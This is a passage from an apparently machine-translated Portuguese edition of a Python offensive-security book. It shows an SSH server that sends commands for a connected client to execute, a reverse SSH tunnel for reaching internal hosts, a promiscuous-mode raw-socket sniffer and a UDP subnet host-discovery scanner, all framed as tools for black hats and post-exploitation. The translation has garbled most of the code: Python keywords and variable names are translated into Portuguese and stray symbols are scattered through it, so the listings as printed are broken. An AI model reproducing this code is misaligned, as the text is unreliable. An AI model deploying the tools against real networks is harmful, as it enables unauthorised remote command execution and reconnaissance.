exceto Exceção,e:
ssh_session.send(str(e))
cliente.fechar()
retornar
ssh_command('192.168.100.130', 'justin', 'lovesthepython','ClientConnected')

2. Esta discussão amplia o trabalho de Hussam Khrais, que pode ser encontrado em http://
recursos.infosecinstitute.com/.

A Rede: Noções Básicas 27

www.it-ebooks.info
Machine Translated by Google

As primeiras linhas são como o nosso último programa e as coisas novas começam
no while True: loop. Observe também que o primeiro comando que enviamos é
ClientConnected. Você verá o porquê quando criarmos a outra extremidade da conexão SSH.

Agora crie um novo arquivo chamado bh_sshserver.py e digite o seguinte:

soquete de importação
importar paramiko
importar threading
sistema de importação

# usando a chave dos arquivos de demonstração do


Paramiko ÿ host_key = paramiko.RSAKey(filename='test_rsa.key')

ÿ classe Servidor (paramiko.ServerInterface): def


_init_(self):
self.event = threading.Event()
def check_channel_request(self, tipo, chanid):
if kind == 'sessão':
retornar paramiko.OPEN_SUCCEEDED
retornar paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, nome de usuário, senha):
if (nome de usuário == 'justin') e (senha == 'lovesthepython'):
retornar paramiko.AUTH_SUCCESSFUL
retornar paramiko.AUTH_FAILED
servidor = sys.argv[1]
ssh_port=int(sys.argv[2])
ÿ tente:
meia = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
meia.setsockopt(socket.SOL_SOCKET, soquete.SO_REUSEADDR, 1)
sock.bind((servidor, ssh_port))
meia.ouvir(100)
print '[+] Ouvindo conexão ...'
cliente, endereço = sock.accept()
exceto Exceção, e:
'
print '[-] Falha na escuta: + rua(s)
sys.exit(1)
print '[+] Consegui uma conexão!'

ÿ tente:
bhSession = paramiko.Transport(cliente)
bhSession.add_server_key(host_key)
servidor = Servidor()
tentar:
bhSession.start_server(servidor=servidor)
exceto paramiko.SSHException, x:
imprimir '[-] Falha na negociação SSH.'
chan = bhSession.accept(20)
ÿ imprimir '[+] Autenticado!' imprimir
chan.recv(1024)
chan.send('Bem-vindo ao bh_ssh')
ÿ enquanto Verdadeiro:
tentar:
comando= raw_input("Digite o comando: ").strip('\n')
if comando! = 'sair':

28 Capítulo 2
www.it-ebooks.info
Machine Translated by Google

chan.send(comando)
imprimir chan.recv(1024) + '\n'
outro:
chan.send('sair')
imprima 'saindo'
bhSession.close()
levantar exceção ('saída')
exceto KeyboardInterrupt:
bhSession.close()
exceto Exceção, e:
'
print '[-] Exceção capturada: tente: + rua(s)

bhSession.close()
exceto:
passar
sys.exit(1)

Este programa cria um servidor SSH que nosso cliente SSH (onde queremos
para executar comandos) se conecta. Pode ser um sistema Linux, Windows ou mesmo
OS X que tenha Python e Paramiko instalados.
Neste exemplo, estamos usando a chave SSH incluída nos arquivos de
demonstração do Paramiko ÿ. Iniciamos um ouvinte de soquete ÿ, assim como fizemos
anteriormente no capítulo, e então o SSHinizamos ÿ e configuramos os métodos de autenticação ÿ.
Quando um cliente autentica ÿ e nos envia a mensagem ClientConnected ÿ, qualquer
comando que digitamos no bh_sshserver é enviado para o bh_sshclient e executado no
bh_sshclient, e a saída é retornada para bh_sshserver. Vamos tentar.

Chutando os pneus

Para a demonstração, executarei o servidor e o cliente em minha máquina


Windows (veja a Figura 2-1).

em ÿ
ÿ
ÿ
ÿ

Figura 2-1: Usando SSH para executar comandos

Você pode ver que o processo começa configurando nosso servidor SSH ÿ e depois
conectando-se a partir de nosso cliente ÿ. O cliente foi conectado com sucesso ÿ

A Rede: Noções Básicas 29

www.it-ebooks.info
Machine Translated by Google

e executamos um comando ÿ. Não vemos nada no cliente SSH, mas o comando que
enviamos é executado no cliente ÿ e a saída é enviada para o nosso servidor SSH ÿ.

Tunelamento SSH
O tunelamento SSH é incrível, mas pode ser confuso de entender e configurar, especialmente
quando se trata de um túnel SSH reverso.
Lembre-se de que nosso objetivo em tudo isso é executar comandos que digitamos em
um cliente SSH em um servidor SSH remoto. Ao usar um túnel SSH, em vez de comandos
digitados serem enviados ao servidor, o tráfego de rede é enviado empacotado dentro do
SSH e depois desempacotado e entregue pelo servidor SSH.
Imagine que você está na seguinte situação: você tem acesso remoto a um servidor SSH em
uma rede interna, mas deseja acessar o servidor web na mesma rede. Você não pode acessar o
servidor web diretamente, mas o servidor com SSH instalado tem acesso e o servidor SSH não
possui as ferramentas que você deseja usar instaladas nele.

Uma maneira de superar esse problema é configurar um túnel SSH de


encaminhamento. Sem entrar em muitos detalhes, executar o comando ssh -L
8008:web:80 justin@sshserver conectará ao servidor ssh como o usuário justin
e configure a porta 8008 em seu sistema local. Qualquer coisa enviada para a porta 8008
será enviada pelo túnel SSH existente para o servidor SSH e entregue ao servidor web. A
Figura 2-2 mostra isso em ação.

127.0.0.1
Porta 8008

Servidor SSH

Cliente SSH

servidor web
Visão simplificada da execução do comando:
Rede alvo
ssh -L 8008:web:80 justin@sshserver

Figura 2-2: Tunelamento direto SSH

Isso é muito legal, mas lembre-se de que poucos sistemas Windows executam
um serviço de servidor SSH. Nem tudo está perdido, no entanto. Podemos configurar
uma conexão de túnel SSH reverso. Neste caso, nos conectamos ao nosso próprio
servidor SSH a partir do cliente Windows da maneira usual. Através dessa conexão
SSH, também especificamos uma porta remota no servidor SSH que será encapsulada para
o host e porta locais (conforme mostrado na Figura 2-3). Esse

30 Capítulo 2
www.it-ebooks.info
Machine Translated by Google

host e porta locais podem ser usados, por exemplo, para expor a porta 3389 para
acessar um sistema interno usando área de trabalho remota ou para outro sistema
que o cliente Windows possa acessar (como o servidor web em nosso exemplo).

127.0.0.1
Porta 8008

Cliente SSH

Servidor SSH

servidor web
Visão simplificada da execução do comando:
ssh -L 8008:web:80 justin@sshserver Rede alvo

Figura 2-3: Tunelamento reverso SSH

Os arquivos de demonstração do Paramiko incluem um arquivo chamado


rforward.py que faz exatamente isso. Ele funciona perfeitamente como está, então não
vou apenas reimprimir esse arquivo, mas vou apontar alguns pontos importantes e dar
um exemplo de como usá-lo. Abra rforward.py, vá para main() e siga em frente.

def principal():
ÿ opções, servidor, remoto = parse_options() senha = Nenhum

se opções.readpass:
senha = getpass.getpass('Digite a senha SSH: ')
ÿ cliente = paramiko.SSHClient()
cliente.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
verbose('Conectando ao host ssh %s:%d ...' % (server[0], server[1]))
tentar:
cliente.connect(servidor[0], servidor[1], nome de usuário=opções.usuário, ¬
nome_do_arquivo_chave=opções.arquivochave, ¬
look_for_keys=options.look_for_keys, senha=senha)
exceto Exceção como e:
print('*** Falha ao conectar-se a %s:%d: %r' % (servidor[0], servidor[1], e))
sys.exit(1)

verbose('Agora encaminhando a porta remota %d para %s:%d ...' % (options.port, ¬ remote[0],


remote[1]))

tentar:
ÿ reverse_forward_tunnel(opções.porta, remoto[0], remoto[1], ¬
cliente.get_transport())
exceto KeyboardInterrupt:
print('Cc: Encaminhamento de porta interrompido.')
sys.exit(0)

A Rede: Noções Básicas 31

www.it-ebooks.info
Machine Translated by Google

As poucas linhas na parte superior ÿ verifique novamente para ter certeza de que todos
os argumentos necessários foram passados para o script antes de configurar a conexão do
cliente SSH Parmakio ÿ (que deve parecer muito familiar). A seção final em main() chama
a função reverse_forward_tunnel ÿ.
Vamos dar uma olhada nessa função.

def reverse_forward_tunnel(server_port, remote_host, remote_port, transporte):


ÿ transport.request_port_forward('', server_port)
enquanto Verdadeiro:

ÿ chan = transporte.accept(1000)
se chan for Nenhum:
continuar
ÿ thr = threading.Thread(target=handler, args=(chan, remote_host, ¬ porta_remota))

thr.setDaemon (Verdadeiro)
thr.start()

Em Paramiko existem dois métodos principais de comunicação: transporte,


que é responsável por fazer e manter a conexão criptografada; e canal, que atua como
uma meia para enviar e receber dados pela sessão de transporte criptografada. Aqui
começamos a usar o request da Paramiko_
port_forward para encaminhar conexões TCP de uma porta ÿ no servidor SSH e iniciar um
novo canal de transporte ÿ. Então, no canal, chamamos o manipulador de função ÿ.

Mas ainda não terminamos.

manipulador def(chan, host, porta):


meia = soquete.socket()
tentar:
sock.connect((host, porta))
exceto Exceção como e:
verbose('O encaminhamento da solicitação para %s:%d falhou: %r' % (host, porta, e))
retornar

verbose('Conectado! Túnel aberto %r -> %r -> %r' % (chan.origin_addr, ¬


chan.getpeername(), ¬
(host, porta)))
ÿ enquanto Verdadeiro:

r, w, x = select.select([meia, chan], [], [])


se meia em r:
dados = meia.recv(1024)
se len(dados) == 0:
quebrar

canal.enviar(dados)
se chan em r:
dados = chan.recv(1024)
se len(dados) == 0:
quebrar

meia.send(dados)
chan.close()

32 Capítulo 2
www.it-ebooks.info
Machine Translated by Google

meia.close()
verbose('Túnel fechado de %r' % (chan.origin_addr,))

E finalmente, os dados são enviados e recebidos ÿ.


Vamos tentar.

Chutando os pneus

Executaremos rforward.py em nosso sistema Windows e o configuraremos para ser o intermediário


enquanto encapsulamos o tráfego de um servidor web para nosso servidor Kali SSH.

C:\tmp\demos>rforward.py 192.168.100.133 -p 8080 -r 192.168.100.128:80 ¬


--user justin --senha
Digite a senha SSH:
Conectando ao host ssh 192.168.100.133:22 ...
C:\Python27\lib\site-packages\paramiko\client.py:517: UserWarning: Desconhecido ¬ ssh-r

chave de host sa para 192.168.100.133: cb28bb4e3ec68e2af4847a427f08aa8b


(key.get_name(), nome do host, hexlify(key.get_fingerprint())))
Agora encaminhando a porta remota 8080 para 192.168.100.128:80 ...

Você pode ver que na máquina Windows, fiz uma conexão com o servidor
SSH em 192.168.100.133 e abri a porta 8080 nesse servidor, que encaminhará o
tráfego para 192.168.100.128 porta 80. Agora, se eu navegar para http: //
127.0.0.1:8080 em meu servidor Linux, eu me conecto ao servidor web em
192.168.100.128 através do túnel SSH, conforme mostrado na Figura 2-4.

Figura 2-4: Exemplo de túnel SSH reverso

Se você voltar para a máquina Windows, também poderá ver a conexão sendo
feita no Paramiko:

Conectado! Túnel aberto (u'127.0.0.1', 54537) -> ('192.168.100.133', 22) -> ¬


('192.168.100.128', 80)

SSH e tunelamento SSH são importantes para entender e usar.


Saber quando e como fazer o túnel SSH e SSH é uma habilidade importante para
black hats, e a Paramiko torna possível adicionar recursos SSH às suas ferramentas
Python existentes.
Criamos algumas ferramentas muito simples, mas muito úteis neste capítulo.
Eu encorajo você a expandir e modificar conforme necessário. O objetivo principal é
desenvolver um domínio sólido do uso da rede Python para criar ferramentas que
você possa usar durante testes de penetração, pós-exploração ou durante a caça a bugs.
Vamos passar a usar soquetes brutos e realizar detecção de rede e, em seguida,
combinaremos os dois para criar um scanner de descoberta de host Python puro.

A Rede: Noções Básicas 33

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

3
A rede :
Soquetes brutos e niffing

Os farejadores de rede permitem que você veja pacotes entrando e


saindo de uma máquina de destino. Como resultado, eles têm muitos
usos práticos antes e depois da exploração. Em alguns casos, você
poderá usar o Wireshark (http://
wireshark.org/) para monitorar o tráfego ou use uma solução Pythonic como
o Scapy (que exploraremos no próximo capítulo). No entanto, há uma
vantagem em saber como montar um sniffer rápido para visualizar e
decodificar o tráfego de rede. Escrever uma ferramenta como essa também
lhe dará um profundo apreço pelas ferramentas maduras que podem cuidar dos
pontos mais delicados sem dor e com pouco esforço de sua parte. Você
provavelmente também aprenderá algumas novas técnicas de Python e talvez
uma melhor compreensão de como funcionam os bits de rede de baixo nível.

www.it-ebooks.info
Machine Translated by Google

No capítulo anterior, abordamos como enviar e receber dados usando TCP e UDP e,
provavelmente, é assim que você interagirá com a maioria dos serviços de rede. Mas por trás desses
protocolos de nível superior estão os blocos de construção fundamentais de como os pacotes de
rede são enviados e recebidos. Você usará soquetes brutos para acessar informações de rede de
nível inferior, como IP bruto e cabeçalhos ICMP. No nosso caso, estamos interessados apenas
na camada IP e superior, portanto não decodificaremos nenhuma informação Ethernet.
Obviamente, se você pretende realizar ataques de baixo nível, como envenenamento por ARP, ou se
estiver desenvolvendo ferramentas de avaliação sem fio, precisará se familiarizar intimamente
com os frames Ethernet e seu uso.

Vamos começar com um breve passo a passo sobre como descobrir hosts ativos em um
segmento de rede.

Construindo uma ferramenta de descoberta de host UDP

O principal objetivo do nosso sniffer é realizar a descoberta de host baseada em UDP em uma
rede alvo. Os invasores desejam ver todos os alvos potenciais em uma rede para que possam
concentrar suas tentativas de reconhecimento e exploração.

Usaremos um comportamento conhecido da maioria dos sistemas operacionais ao lidar com


portas UDP fechadas para determinar se há um host ativo em um endereço IP específico.
Quando você envia um datagrama UDP para uma porta fechada em um host, esse host
normalmente envia de volta uma mensagem ICMP indicando que a porta está inacessível. Esta
mensagem ICMP indica que há um host ativo porque assumiríamos que não havia nenhum host
se não recebêssemos uma resposta ao datagrama UDP. É essencial escolhermos uma porta
UDP que provavelmente não será usada e, para obter cobertura máxima, podemos sondar diversas
portas para garantir que não estamos atingindo um serviço UDP ativo.

Por que UDP? Não há sobrecarga em espalhar a mensagem por uma sub-rede inteira e
aguardar que as respostas ICMP cheguem adequadamente.
Este é um scanner bastante simples de construir, com a maior parte do trabalho sendo dedicada
à decodificação e análise dos vários cabeçalhos de protocolo de rede. Implementaremos este
scanner de host para Windows e Linux para maximizar a probabilidade de poder usá-lo dentro
de um ambiente corporativo.
Também poderíamos construir lógica adicional em nosso scanner para iniciar varreduras
completas de portas Nmap em qualquer host que descobrirmos para determinar se eles têm uma
superfície de ataque de rede viável. Estes são exercícios deixados para o leitor, e estou ansioso
para ouvir algumas das maneiras criativas de expandir esse conceito central. Vamos começar.

Sniffing de pacotes no Windows e Linux


O acesso a soquetes brutos no Windows é um pouco diferente do que em seus irmãos Linux,
mas queremos ter a flexibilidade de implantar o mesmo sniffer em múltiplas plataformas.
Criaremos nosso objeto socket e então determinaremos em qual plataforma estamos rodando.
O Windows exige que definamos alguns

36 Capítulo 3
www.it-ebooks.info
Machine Translated by Google

sinalizadores adicionais por meio de um controle de entrada/saída de soquete (IOCTL),1


que ativa o modo promíscuo na interface de rede. Em nosso primeiro exemplo, simplesmente
configuramos nosso sniffer de soquete bruto, lemos um único pacote e então encerramos.

soquete de importação
importe-nos

# host para ouvir


hospedeiro = "192.168.0.196"

# cria um soquete bruto e vincula-o à interface pública


se os.name == "nt":
e soquete_protocol = soquete.IPPROTO_IP
outro:
soquete_protocol = soquete.IPPROTO_ICMP

farejador = soquete.socket(socket.AF_INET, soquete.SOCK_RAW, soquete_protocol)

farejador.bind((host, 0))

# queremos que os cabeçalhos IP sejam incluídos na captura


v sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# se estivermos usando Windows, precisamos enviar um IOCTL


# para configurar o modo promíscuo
w se os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL,soquete.RCVALL_ON)

#leia em um único pacote


x imprimir sniffer.recvfrom(65565)

# se estivermos usando Windows, desative o modo promíscuo


e se os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL,soquete.RCVALL_OFF)

Começamos construindo nosso objeto socket com os parâmetros necessários para farejar
pacotes em nossa interface de rede u. A diferença entre o Windows e o Linux é que o Windows
nos permitirá detectar todos os pacotes recebidos, independentemente do protocolo, enquanto
o Linux nos obriga a especificar que estamos detectando ICMP. Observe que estamos usando o
modo promíscuo, que requer privilégios administrativos no Windows ou root no Linux.

O modo promíscuo nos permite detectar todos os pacotes que a placa de rede vê, mesmo
aqueles não destinados ao seu host específico. Em seguida, definimos uma opção de soquete v
isso inclui os cabeçalhos IP em nossos pacotes capturados. A próxima etapa é determinar
se estamos usando o Windows e, em caso afirmativo, executamos a etapa adicional de
enviar um IOCTL ao driver da placa de rede para ativar o modo promíscuo. Se você estiver
executando o Windows em uma máquina virtual, provavelmente receberá uma notificação
de que o sistema operacional convidado está habilitando o modo promíscuo; você, é claro,
permitirá isso. Agora estamos prontos para realmente atuar

1. Um controle de entrada/ saída (IOCTL) é um meio para os programas do espaço do usuário se


comunicarem com os componentes do modo kernel. Leia aqui: http:// en.wikipedia.org/ wiki/ Ioctl.

A Rede: Raw Sockets e Sniffing 37

www.it-ebooks.info
Machine Translated by Google

algumas cheiradas e, neste caso, estamos simplesmente imprimindo todo o pacote bruto x
sem decodificação do pacote. Isso é apenas para testar e ter certeza de que o núcleo do nosso
código de detecção está funcionando. Depois que um único pacote é detectado, testamos
novamente o Windows e desabilitamos o modo promíscuo y antes de sair do script.

Chutando os pneus
Abra um novo terminal ou shell cmd.exe no Windows e execute o seguinte:

python sniffer.py

Em outro terminal ou janela do shell, você pode simplesmente escolher um host para executar ping.
Aqui, faremos ping em nostarch.com:

ping nostarch. com

Na primeira janela onde você executou seu sniffer, você deverá ver
alguma saída ilegível que se parece muito com a seguinte:

('E\x00\x00:\x0f\x98\x00\x00\x80\x11\xa9\x0e\xc0\xa8\x00\xbb\xc0\xa8\x0
0\x01\x04\x01\x005\x00&\xd6d\n\xde\x01\x00\x00\x01\x00\x00\x00\x00\x00\
x00\x08nostarch\x03com\x00\x00\x01\x00\x01', ('192.168.0.187', 0))

Você pode ver que capturamos a solicitação de ping ICMP inicial destinada a
nostarch.com (com base na aparência da string nostarch.com).
Se você estiver executando este exemplo no Linux, receberá a resposta de nostarch.com.
Farejar um pacote não é muito útil, então vamos adicionar algumas funcionalidades para
processar mais pacotes e decodificar seu conteúdo.

Decodificando a camada IP

Na sua forma atual, nosso sniffer recebe todos os cabeçalhos IP junto com quaisquer
protocolos superiores, como TCP, UDP ou ICMP. A informação está compactada em
formato binário e, como mostrado acima, é bastante difícil de entender. Agora vamos trabalhar
na decodificação da parte IP de um pacote para que possamos extrair informações úteis, como
o tipo de protocolo (TCP, UDP, ICMP) e os endereços IP de origem e destino. Esta será a base
para você começar a criar análises de protocolo adicionais mais tarde.

Se examinarmos a aparência de um pacote real na rede, você


entender como precisamos decodificar os pacotes recebidos.
Consulte a Figura 3-1 para a composição de um cabeçalho IP.

38 Capítulo 3
www.it-ebooks.info
Machine Translated by Google

protocolo de internet
Pedaço

0–3 4–7 8–15 16–18 19–31


Desvio
HDR
0 Versão Comprimento Tipo de serviço Comprimento total

32 Identificação Bandeiras Deslocamento de fragmento

64 Tempo de Viver Protocolo Soma de verificação do cabeçalho

96 Endereço IP de origem

128 Endereço IP de destino

160 Opções

Figura 3-1: Estrutura típica do cabeçalho IPv4

Decodificaremos todo o cabeçalho IP (exceto o campo Opções) e extrairemos o tipo de


protocolo, endereço IP de origem e destino. Usar o módulo Python ctypes para criar uma
estrutura semelhante a C nos permitirá ter um formato amigável para lidar com o cabeçalho IP e
seus campos membros. Primeiro, vamos dar uma olhada na definição C da aparência de um
cabeçalho IP.

estrutura ip {
u_char ip_hl:4;
u_char ip_v:4;
u_char ip_tos;
u_short ip_len;
u_short ip_id;
u_short ip_off;
u_char ip_ttl;
u_char ip_p;
u_short ip_sum;
u_long ip_src;
u_long ip_dst;
}

Agora você tem uma ideia de como mapear os tipos de dados C para os valores do cabeçalho
IP. Usar o código C como referência ao traduzir para objetos Python pode ser útil porque facilita a
conversão para Python puro. É importante notar que os campos ip_hl e ip_v têm uma notação de
bit adicionada a eles (o :4
papel). Isso indica que esses são campos de bits e têm 4 bits de largura. Usaremos uma solução
Python pura para garantir que esses campos sejam mapeados corretamente, para que possamos
evitar qualquer manipulação de bits. Vamos implementar nossa rotina de decodificação de IP
em sniffer_ip_header_decode.py conforme mostrado abaixo.

soquete de importação

importe-nos
estrutura de importação
*
da importação de ctypes

A Rede: Raw Sockets e Sniffing 39

www.it-ebooks.info
Machine Translated by Google

# host para ouvir


hospedeiro = "192.168.0.187"

# nosso cabeçalho IP
você classe IP (Estrutura):
_campos_ = [
("agulha", c_ubyte, 4),
("versão", c_ubyte, 4),
("tos", c_ubyte),
("len", c_ushort),
("id", c_ushort),
("deslocamento", c_ushort),
("ttl", c_ubyte),
("núm_protocolo", c_ubyte),
("soma", c_ushort),
("src", c_ulong),
("dst", c_ulong)
]

def __new__(self, socket_buffer=Nenhum):


retornar self.from_buffer_copy(socket_buffer)

def __init__(self, socket_buffer=Nenhum):

# mapeia constantes de protocolo para seus nomes


self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}

em # endereços IP legíveis por humanos


self.src_address = socket.inet_ntoa(struct.pack("<L",self.src)) self.dst_address =
socket.inet_ntoa(struct.pack("<L",self.dst))

# protocolo legível por humanos


tentar:
self.protocol = self.protocol_map[self.protocol_num]
exceto:
self.protocol = str(self.protocol_num)

# isso deve parecer familiar ao exemplo anterior


se os.name == "nt":
socket_protocol = socket.IPPROTO_IP senão:

soquete_protocol = soquete.IPPROTO_ICMP

farejador = soquete.socket(socket.AF_INET, soquete.SOCK_RAW, soquete_protocol)

farejador.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, soquete.IP_HDRINCL, 1)

se os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL,soquete.RCVALL_ON)

40 Capítulo 3
www.it-ebooks.info
Machine Translated by Google

tentar:

enquanto Verdadeiro:

#leia em um pacote
Em raw_buffer = sniffer.recvfrom(65565)[0]

# cria um cabeçalho IP a partir dos primeiros 20 bytes do buffer


x ip_header = IP(raw_buffer[0:20])

# imprime o protocolo que foi detectado e os hosts


e imprimir "Protocolo: %s %s -> %s" % (ip_header.protocol, endereço ip_header.src_¬,
ip_header.dst_address)

# manipula CTRL-C
exceto KeyboardInterrupt:

# se estivermos usando Windows, desative o modo promíscuo


se os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL,soquete.RCVALL_OFF)

A primeira etapa é definir uma estrutura Python ctypes u que mapeará os primeiros 20
bytes do buffer recebido em um cabeçalho IP amigável. Como você pode ver, todos os campos
que identificamos e a estrutura C anterior combinam perfeitamente. O método __new__ da
classe IP simplesmente pega um buffer bruto (neste caso, o que recebemos na rede) e forma
a estrutura a partir dele. Quando o método __init__ é chamado, __new__ já terminou o
processamento do buffer. Dentro de __init__, estamos simplesmente fazendo algumas
tarefas domésticas para fornecer alguma saída legível para o protocolo em uso e os
endereços IP v.

Com nossa estrutura IP recém-criada , agora colocamos a lógica para ler continuamente
os pacotes e analisar suas informações. O primeiro passo é ler o pacote w e depois passar
os primeiros 20 bytes x para inicializar nossa estrutura IP . A seguir, simplesmente imprimimos
as informações que capturamos y.
Vamos experimentar.

Chutando os pneus

Vamos testar nosso código anterior para ver que tipo de informação estamos extraindo
dos pacotes brutos enviados. Definitivamente, recomendo que você faça esse teste em sua
máquina Windows, pois você poderá ver TCP, UDP e ICMP, o que permite fazer alguns testes
bem legais (abrir um navegador, por exemplo). Se você estiver confinado ao Linux, execute o
teste de ping anterior para vê-lo em ação.

Abra um terminal e digite:

python sniffer_ip_header_decode.py

A Rede: Raw Sockets e Sniffing 41

www.it-ebooks.info
Machine Translated by Google

Agora, como o Windows é bastante falador, é provável que você veja a saída
imediatamente. Testei esse script abrindo o Internet Explorer e acessando www
.google.com, e aqui está o resultado do nosso script:

Protocolo: UDP 192.168.0.190 -> 192.168.0.1


Protocolo: UDP 192.168.0.1 -> 192.168.0.190
Protocolo: UDP 192.168.0.190 -> 192.168.0.187
Protocolo: TCP 192.168.0.187 -> 74.125.225.183
Protocolo: TCP 192.168.0.187 -> 74.125.225.183
Protocolo: TCP 74.125.225.183 -> 192.168.0.187
Protocolo: TCP 192.168.0.187 -> 74.125.225.183

Como não estamos fazendo nenhuma inspeção profunda nesses pacotes, só podemos
adivinhar o que esse fluxo está indicando. Meu palpite é que os primeiros pacotes UDP
são consultas DNS para determinar onde o google.com reside, e as sessões TCP
subsequentes são minha máquina realmente conectando e baixando conteúdo de seu
servidor web.
Para realizar o mesmo teste no Linux, podemos executar ping em google.com e
os resultados serão mais ou menos assim:

Protocolo: ICMP 74.125.226.78 -> 192.168.0.190


Protocolo: ICMP 74.125.226.78 -> 192.168.0.190
Protocolo: ICMP 74.125.226.78 -> 192.168.0.190

Já dá para perceber a limitação: estamos vendo apenas a resposta e apenas para o


protocolo ICMP. Mas como estamos construindo propositalmente um scanner de descoberta
de host, isso é completamente aceitável. Aplicaremos agora as mesmas técnicas que
usamos para decodificar o cabeçalho IP para decodificar as mensagens ICMP.

Decodificando ICMP
Agora que podemos decodificar totalmente a camada IP de quaisquer pacotes detectados,
precisamos ser capazes de decodificar as respostas ICMP que nosso scanner irá obter
ao enviar datagramas UDP para portas fechadas. As mensagens ICMP podem variar muito
em seu conteúdo, mas cada mensagem contém três elementos que permanecem
consistentes: os campos de tipo, código e soma de verificação. Os campos de tipo e código
informam ao host receptor que tipo de mensagem ICMP está chegando, o que então
determina como decodificá-la corretamente.
Para o propósito do nosso scanner, estamos procurando um valor de tipo 3 e
um valor de código de 3. Isso corresponde à classe Destino Inacessível de mensagens
ICMP, e o valor de código de 3 indica que a Porta Inacessível
erro foi causado. Consulte a Figura 3-2 para ver um diagrama de uma mensagem ICMP
de destino inacessível .

42 Capítulo 3
www.it-ebooks.info
Machine Translated by Google

Mensagem de destino inacessível


0–7 8–15 16–31

Tipo = 3 Código Soma de verificação do cabeçalho

Não utilizado Próximo salto PERSON

Cabeçalho IP e primeiros 8 bytes dos dados do datagrama original

Figura 3-2: Diagrama da mensagem ICMP de destino inacessível

Como você pode ver, os primeiros 8 bits são o tipo e os segundos 8 bits contêm
nosso código ICMP. Uma coisa interessante a notar é que quando um host envia uma
dessas mensagens ICMP, ela na verdade inclui o cabeçalho IP da mensagem de origem
que gerou a resposta. Também podemos ver que verificaremos novamente 8 bytes do
datagrama original que foi enviado para ter certeza de que nosso scanner gerou a
resposta ICMP. Para fazer isso, simplesmente cortamos os últimos 8 bytes do buffer
recebido para extrair a string mágica que nosso scanner envia.

Vamos adicionar mais código ao nosso sniffer anterior para incluir a capacidade de
decodificar pacotes ICMP. Vamos salvar nosso arquivo anterior como sniffer_with_icmp.py
e adicione o seguinte código:

--recorte--
classe IP (Estrutura):
--recorte--

você classe ICMP (Estrutura):

_campos_ = [
("tipo", c_ubyte),
("código", c_ubyte),
("soma de verificação", c_ushort),
("não utilizado", c_ushort),
("next_hop_mtu", c_ushort)
]

def __new__(self, soquete_buffer):


retornar self.from_buffer_copy(socket_buffer)

def __init__(self, soquete_buffer):


passar

--recorte--

imprimir "Protocolo: %s %s -> %s" % (ip_header.protocol, ip_header.src_¬


endereço, ip_header.dst_address)

# se for ICMP, nós queremos


v se ip_header.protocol == "ICMP":

# calcula onde nosso pacote ICMP começa


Em deslocamento = ip_header.ihl * 4

A Rede: Raw Sockets e Sniffing 43


www.it-ebooks.info
Machine Translated by Google

buf = raw_buffer[offset:offset + sizeof(ICMP)]

#criamos nossa estrutura ICMP


x icmp_header = ICMP(buf)

print "ICMP -> Tipo: %d Código: %d" % (icmp_header.type, icmp_header.¬


código)

Este simples trecho de código cria uma estrutura ICMP u abaixo de nosso
estrutura IP existente . Quando o loop principal de recebimento de pacotes determina que
recebemos um pacote ICMP v, calculamos o deslocamento no pacote bruto onde reside o corpo
ICMP w e então criamos nosso buffer ÿ e imprimimos os campos de tipo e código . O cálculo
do comprimento é baseado no campo ihl do cabeçalho IP , que indica o número de palavras de
32 bits (pedaços de 4 bytes) contidas no cabeçalho IP. Portanto, multiplicando este campo por
4, sabemos o tamanho do cabeçalho IP e, portanto, quando a próxima camada de rede—

ICMP, neste caso, começa.


Se executarmos rapidamente esse código com nosso teste de ping típico, nossa saída agora
deverá ser um pouco diferente, conforme mostrado abaixo:

Protocolo: ICMP 74.125.226.78 -> 192.168.0.190


ICMP -> Tipo: 0 Código: 0

Isso indica que as respostas do ping (ICMP Echo) estão sendo corretas
recebido e decodificado. Agora estamos prontos para implementar a última parte da lógica para
enviar os datagramas UDP e interpretar seus resultados.
Agora vamos adicionar o uso do módulo netaddr para que possamos cobrir uma sub-rede
inteira com nossa varredura de descoberta de host. Salve seu sniffer_with_icmp.py
script como scanner.py e adicione o seguinte código:

importar threading
hora de importação
de netaddr importar IPNetwork,IPAddress
--recorte--

# host para ouvir


hospedeiro = "192.168.0.187"

# sub-rede a ser segmentada


sub-rede = "192.168.0.0/24"

# string mágica para a qual verificaremos as respostas do ICMP


u magic_message = "PYTHONRULES!"

# isso espalha os datagramas UDP


v def udp_sender(sub-rede,magic_message):
time.sleep(5)
remetente = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

para ip em IPNetwork (sub-rede):

44 Capítulo 3
www.it-ebooks.info
Machine Translated by Google

tentar:
sender.sendto(magic_message,("%s" % ip,65212))
exceto:
passar

--recorte--

#começa a enviar pacotes


w t = threading.Thread(target=udp_sender,args=(subnet,magic_message))
t.start()

--recorte--
tentar:
enquanto Verdadeiro:

--recorte--
#print "ICMP -> Tipo: %d Código: %d" % (icmp_header.type, icmp_header.¬
código)

# agora verifique o TIPO 3 e o CÓDIGO


se icmp_header.code == 3 e icmp_header.type == 3:

# certifique-se de que o host esteja em nossa sub-


x rede de destino se IPAddress(ip_header.src_address) in IPNetwork(subnet):

# certifique-se de que contém nossa mensagem mágica


e if raw_buffer[len(raw_buffer)-len(magic_message):] == ¬ magic_message:
print "Host Up:
%s" % ip_header.src_address

Este último trecho de código deve ser bastante simples de entender.


Definimos uma assinatura de string simples u para que possamos testar se as respostas
vêm de pacotes UDP que enviamos originalmente. Nossa função udp_sender v
simplesmente recebe uma sub-rede que especificamos no início do nosso script,
percorre todos os endereços IP dessa sub-rede e dispara datagramas UDP para eles.
No corpo principal do nosso script, pouco antes do loop de decodificação do pacote
principal, geramos udp_sender em um thread separado w para garantir que não
estamos interferindo em nossa capacidade de detectar respostas. Se detectarmos a
